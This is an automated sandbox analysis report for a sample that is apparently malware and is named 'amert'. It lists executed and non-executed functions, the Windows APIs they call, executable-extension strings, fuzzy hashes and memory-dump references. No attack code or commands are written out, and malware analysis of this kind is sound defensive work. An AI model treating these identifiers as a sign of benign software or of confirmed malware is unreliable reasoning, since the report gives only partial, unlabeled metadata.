Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 899ce21225c1fd5fa37c78ba4751b5cb1179cc783b16b1057de3aa769f4be9e9
Instruction ID: 70a37937472506c5a8bdf2c4fc7b2c34dc44876db7a537fe9526f5db57618dbe
Opcode Fuzzy Hash: 899ce21225c1fd5fa37c78ba4751b5cb1179cc783b16b1057de3aa769f4be9e9
Instruction Fuzzy Hash: 55610232D206148FDF27AFACC8857EDBBB5BF55311F265119E416AB291D7309D00CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0039CFF0 Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,0039A77F,?,?,00396277,?,00000000,?,?,00396EAB,?,00000000), ref: 0039D032

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8eb933521ca3ddb23a75e5842e08857202aec62b33d2e494e7ca1dde9526caad
Instruction ID: 64c0558bdbb85c4fafe61b113e1e1729958dab00c51fe6f69bd1616042484a31
Opcode Fuzzy Hash: 8eb933521ca3ddb23a75e5842e08857202aec62b33d2e494e7ca1dde9526caad
Instruction Fuzzy Hash: 1DF08235502625669F336B26DD07F6B774DAF827F0F1A8026AD14AB680DA70E80286F0

Uniqueness

Uniqueness Score: -1.00%

Function 00367540 Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(?,0036C434), ref: 00367549

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 0a5401443707f49dca5bd81a2c082032e3dde3f1269a7e61069015b254d09219
Instruction ID: 72512ab1c9fbdf4e91dea69dea441e4935bf94a5e995ddaef0126f362fda997b
Opcode Fuzzy Hash: 0a5401443707f49dca5bd81a2c082032e3dde3f1269a7e61069015b254d09219
Instruction Fuzzy Hash: ABC08030015700DEFD1E5A3C5548065331159433EC3E457C8C2374B1E5C636D807D661

Uniqueness

Uniqueness Score: -1.00%

Function 04FC02E2 Relevance: 1.4, Strings: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C^%, xrefs: 04FC0378

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID: C^%
API String ID: 0-918525554
Opcode ID: 65e5dde60fb80e5aa44c126f834ede5e1a8b26610ab0fcff69eca929fb3f881b
Instruction ID: 99ce21279c6477b08a1da19fcc6275b24b07d20ad10c8c7b45a71557edc079d0
Opcode Fuzzy Hash: 65e5dde60fb80e5aa44c126f834ede5e1a8b26610ab0fcff69eca929fb3f881b
Instruction Fuzzy Hash: 043192AB28C122FE614286C52B14AFB6A2DE2C3730330853FF807D5403FA949A4F71B1

Uniqueness

Uniqueness Score: -1.00%

Function 04FC02BA Relevance: 1.4, Strings: 1, Instructions: 167
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C^%, xrefs: 04FC0378

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID: C^%
API String ID: 0-918525554
Opcode ID: 327bf8034fb56ccdd458b3a2ef8ec42c6673aeb09ff4ee81de24cffdcc8bbae7
Instruction ID: 7637bf51b544837c6ae6164de9a532e72ae855e3f5caabf6631e5ff5e970b7de
Opcode Fuzzy Hash: 327bf8034fb56ccdd458b3a2ef8ec42c6673aeb09ff4ee81de24cffdcc8bbae7
Instruction Fuzzy Hash: E3313CEB28C122FD614282C62B18AF76A2EE2D6630371853EF817D5542FA849B5F2171

Uniqueness

Uniqueness Score: -1.00%

Function 04FC02A3 Relevance: 1.4, Strings: 1, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C^%, xrefs: 04FC0378

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID: C^%
API String ID: 0-918525554
Opcode ID: 4d252285e83e88d92105f6d15220fdec36cf627d5b068d3ebfe317183bc98988
Instruction ID: 9c66b3447c80366add1bb5c2a12bc1bbb21e0ec1baab23d01747932590721f63
Opcode Fuzzy Hash: 4d252285e83e88d92105f6d15220fdec36cf627d5b068d3ebfe317183bc98988
Instruction Fuzzy Hash: 0A31A6AB28C123FEA10286D52B589F76B2DE6D3630370846FF907D5403FA85AA4F6171

Uniqueness

Uniqueness Score: -1.00%

Function 04FC02F7 Relevance: 1.4, Strings: 1, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C^%, xrefs: 04FC0378

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID: C^%
API String ID: 0-918525554
Opcode ID: c0fc3673cc36affcfcdea1ef6f40ad955fa4bc3d2684ac40569432a253ef868b
Instruction ID: ba602e89641285490e288f2df623b22f9a43150eb200d3bfc037e938991d418e
Opcode Fuzzy Hash: c0fc3673cc36affcfcdea1ef6f40ad955fa4bc3d2684ac40569432a253ef868b
Instruction Fuzzy Hash: 2B212DAB38C122FE614296C62B149BB6A2EE2D6630371C43AF807D5503FA949B4F3171

Uniqueness

Uniqueness Score: -1.00%

Function 04FC0319 Relevance: 1.4, Strings: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C^%, xrefs: 04FC0378

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID: C^%
API String ID: 0-918525554
Opcode ID: e3ca9487b941a7cd54056ba7c88e676cfb18be5e34041d924bd0da7e28509cda
Instruction ID: 96dac32247cc168cb3c907397c5e3abf611f0cd6b7929304d4ab3d5a099fd134
Opcode Fuzzy Hash: e3ca9487b941a7cd54056ba7c88e676cfb18be5e34041d924bd0da7e28509cda
Instruction Fuzzy Hash: AE214CEB28C022FE614286C52B589F76A2DF2D2630371842EF907D5403FA88AB4F3171

Uniqueness

Uniqueness Score: -1.00%

Function 04FC0336 Relevance: 1.4, Strings: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C^%, xrefs: 04FC0378

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID: C^%
API String ID: 0-918525554
Opcode ID: 89bd7ffa7063690a6a547609b96a237534315035868009b63a9c157bd6edfd22
Instruction ID: 1ad3a8fa744acafb0130e1b86649cb5e709d79d4f6f2e52f43432e2613018b4f
Opcode Fuzzy Hash: 89bd7ffa7063690a6a547609b96a237534315035868009b63a9c157bd6edfd22
Instruction Fuzzy Hash: 90210CEB28C126FE614296C52B189F76A2DE2D6630371853EF807D5402FA949A4F6171

Uniqueness

Uniqueness Score: -1.00%

Function 04FC035A Relevance: 1.4, Strings: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C^%, xrefs: 04FC0378

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID: C^%
API String ID: 0-918525554
Opcode ID: 8aa8ed40041353be5957f63338cd73a6e0e04289c6ae76fbea51366a6864064e
Instruction ID: fb16fa268cae00397d907e35be95097fd6f7c53058941922eaa1cf78682da8f2
Opcode Fuzzy Hash: 8aa8ed40041353be5957f63338cd73a6e0e04289c6ae76fbea51366a6864064e
Instruction Fuzzy Hash: 6F115EAB38C123FE610286D52B149BB6A2DE2D6230371842FF807D5402FA94AA4F3171

Uniqueness

Uniqueness Score: -1.00%

Function 04FC036C Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

C^%, xrefs: 04FC0378

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID: C^%
API String ID: 0-918525554
Opcode ID: aa62591347aefae6b4e56ff096723b13bca310b38d1b97fe3a0679290b7831eb
Instruction ID: 2ff3a7a79a3b3420ddd834077e62eb31d735b5dd5cad368888b5ff3c9d0ce912
Opcode Fuzzy Hash: aa62591347aefae6b4e56ff096723b13bca310b38d1b97fe3a0679290b7831eb
Instruction Fuzzy Hash: 6F116AAB28C126FE610296C62B149FB6A2DE6D6330331842EF803D5402FB94AA0F2171

Uniqueness

Uniqueness Score: -1.00%

Function 04FC0384 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55876c8fcc5d0c32d7226a0d28bde0186078ab4130557d5f759a7b63427b62f4
Instruction ID: ad57be333a1bf7eba7c612f8ad3cff2bbadcd687c65fd880b79f83f1da219251
Opcode Fuzzy Hash: 55876c8fcc5d0c32d7226a0d28bde0186078ab4130557d5f759a7b63427b62f4
Instruction Fuzzy Hash: 92113DAB34C126FD614196C62B189FB6A2DE6D2730371852EF847D5003FB94AB1B7171

Uniqueness

Uniqueness Score: -1.00%

Function 04FC0398 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1878c39defac828af9e246b88215f2ffd8d6e3363dc306bfb3ca9299fd5322a3
Instruction ID: fd8658c2e1e4066817c8e2a19031e60e00e16a5d7bfdb19aa2b5a6b669dd1437
Opcode Fuzzy Hash: 1878c39defac828af9e246b88215f2ffd8d6e3363dc306bfb3ca9299fd5322a3
Instruction Fuzzy Hash: 17111CEB38C026FD614196C62B189FB6A2DF6D6730371842EF947D5003FA989B0B7171

Uniqueness

Uniqueness Score: -1.00%

Function 04FC03D7 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 198ae05b5ea1815ef9603867213111bd3791517cccdd1dd5ad00065f2eaef6a2
Instruction ID: 38042923c5fd10ea8004a1822b7d390bba35366d09357ea1e951c725ae7f862b
Opcode Fuzzy Hash: 198ae05b5ea1815ef9603867213111bd3791517cccdd1dd5ad00065f2eaef6a2
Instruction Fuzzy Hash: 0A114CAB24C022EEB201D6C56B58AB7676DE3D6730331846FF442D6003FA98AA5B6171

Uniqueness

Uniqueness Score: -1.00%

Function 04FC03C2 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbaf39583ae3a1dc117639b7f9c96f79a05c33b4ae6633bf6cf2ae42f319faf2
Instruction ID: 8ccd4b0f90f94823af9e823784530e1dc08774b68a0ea07b923606408410f371
Opcode Fuzzy Hash: fbaf39583ae3a1dc117639b7f9c96f79a05c33b4ae6633bf6cf2ae42f319faf2
Instruction Fuzzy Hash: 690109BB24C026FD654196C52B18AFB6B2DE2D6730370882EF846D5003FB949A0B6131

Uniqueness

Uniqueness Score: -1.00%

Function 04FC0443 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ef13904a0584efc1a75cf84647b61010b2c1b51dfa5c095b826dde882eb1dbc
Instruction ID: e44db22d3533b438800403dfade74e7274919987431998394716d172d2ac3a5c
Opcode Fuzzy Hash: 6ef13904a0584efc1a75cf84647b61010b2c1b51dfa5c095b826dde882eb1dbc
Instruction Fuzzy Hash: AB0184EB24C022EC7501D6D17B54AF7576DE2D1730371882FF542D1003FA489A4FA530

Uniqueness

Uniqueness Score: -1.00%

Function 04FC0411 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 149147256661550e805bbf6d3066382e643d1f9235dad66481bf4819b335ffba
Instruction ID: 19b005680b20f6b724f1290fb9ba72e223874bec5c07e1632c8d91d2afebd0af
Opcode Fuzzy Hash: 149147256661550e805bbf6d3066382e643d1f9235dad66481bf4819b335ffba
Instruction Fuzzy Hash: A4F0B6AF28C022EC7141D6C63B28ABB576DE2D1730371C82BF846D1402FA889A4F6170

Uniqueness

Uniqueness Score: -1.00%

Function 04FC042E Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 891ed1dce58bdfae14a938a907bbd8654c1601446098375c12a8b3055598ba71
Instruction ID: 63af71c14da0ab501ab9be4d43273e6af3095fba80e143afccf3b1ca7a60e77f
Opcode Fuzzy Hash: 891ed1dce58bdfae14a938a907bbd8654c1601446098375c12a8b3055598ba71
Instruction Fuzzy Hash: 0AF0E7AB24C122EDA14196C52B18AFBA76DF3E1B30771892BF582D1402FA98964F6171

Uniqueness

Uniqueness Score: -1.00%

Function 04FC046E Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71835a705e0e122488266bf5cec53d98feebc0b55cbf0c6468bc4b699b5f0c92
Instruction ID: c7332f1e9e3166decee8303b737c68c67f3b9f831f481138e183ac6df4c46f26
Opcode Fuzzy Hash: 71835a705e0e122488266bf5cec53d98feebc0b55cbf0c6468bc4b699b5f0c92
Instruction Fuzzy Hash: 7BF098AB248022ED6145D6967728ABBA76DF2D5730371843BF442C2402AA94961FA130

Uniqueness

Uniqueness Score: -1.00%

Function 04FC0479 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd492818e716681498959863f10095b84b1915504b5cabf3ee2af9de20a99764
Instruction ID: 6a6ed0a5d987f1eef1184abdfc9628d646266061f9f3566129ba73fcbe5990bb
Opcode Fuzzy Hash: dd492818e716681498959863f10095b84b1915504b5cabf3ee2af9de20a99764
Instruction Fuzzy Hash: BCE0EDAF24C062ACB141D2C63B24AF7676DF2D1B31330C43BF842C5502FA84561F6130

Uniqueness

Uniqueness Score: -1.00%

Function 04FC04A2 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2875520015.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4fc0000_amert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7cf3d865f538e2b908810f62b11ace6ffdb1d2acc9fc8d31a5078d620531c9a
Instruction ID: e46ea15735cabda5a81f25092263031306c8d035b18dedd9d459b6ab21359681
Opcode Fuzzy Hash: c7cf3d865f538e2b908810f62b11ace6ffdb1d2acc9fc8d31a5078d620531c9a
Instruction Fuzzy Hash: 42E09AAF288022AC7051D1C63B64AFB966DE2E1630770C82BF842D1507AA85A65F7071

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0037CD47 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0036239E

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 9b03b68fec3259f2a7b9fc8e0b9cf5c42763d082fcdc6fa81a08c5b3cfc11cab
Instruction ID: f8dfec2930844014782c3c067d2dedeecacd94a1ce86f776b21d9068099277a8
Opcode Fuzzy Hash: 9b03b68fec3259f2a7b9fc8e0b9cf5c42763d082fcdc6fa81a08c5b3cfc11cab
Instruction Fuzzy Hash: B5519E719112159FDB2ACF59D891BAABBF8FF48310F25C46AD40DEB291D378E940CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00362DA0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00362E3F
GetCurrentThreadId.KERNEL32 ref: 00362E5E
__Mtx_unlock.LIBCPMT ref: 00362EAC
__Cnd_broadcast.LIBCPMT ref: 00362EC3
__Mtx_unlock.LIBCPMT ref: 00362FD5
GetCurrentThreadId.KERNEL32 ref: 00363012
__Mtx_unlock.LIBCPMT ref: 0036307B

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: a4794c67f673ad93710859e23f9c4bea59c7aaa9eebd0b11e93f3f116bc2e63a
Instruction ID: b6983df4160795bedb278a1d86a437680be5ca5b9efaf15ec43f6c174b9c05cc
Opcode Fuzzy Hash: a4794c67f673ad93710859e23f9c4bea59c7aaa9eebd0b11e93f3f116bc2e63a
Instruction Fuzzy Hash: B8A1C0B0A006059FDB22DB64C944B5BB7F8FF15314F06C529E81ADB245EB35EA04CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00396AC6 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00396B08

Strings

.exe, xrefs: 00396B15
.com, xrefs: 00396B48
.cmd, xrefs: 00396B26
.bat, xrefs: 00396B37

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000633000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.000000000065E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000665000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.0000000000674000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2843409544.0000000000675000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844289353.0000000000813000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2844344385.0000000000815000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_360000_amert.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 60735a2b3d8a19b5ec3263d80d63aa1a12afb499e45a73ee7e50ca8e822f7c96
Instruction ID: 7f31ef87cea61506587319932342397c92d2757d63e4d1669d3a160bcf252d9c
Opcode Fuzzy Hash: 60735a2b3d8a19b5ec3263d80d63aa1a12afb499e45a73ee7e50ca8e822f7c96
Instruction Fuzzy Hash: D101D63BA15621266F17211AAC23BFB57988B86BB4727002EFD44FB5C1FF55DC0241A4

Uniqueness

Uniqueness Score: -1.00%

Function 00362590 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00362726
___std_exception_destroy.LIBVCRUNTIME ref: 003627C0

Strings

p"6, xrefs: 003626DE, 003627B9
p"6, xrefs: 00362731

Memory Dump Source

Source File: 0000000E.00000002.2839016933.0000000000361000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00360000, based on PE: true

Associated: 0000000E.00000002.2835246894.0000000000360000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2839016933.00000000003C1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840464750.00000000003C6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000E.00000002.2840617908.00000000003C8000.00000040.00000001.01000000.0000000F.sdmpDownload File
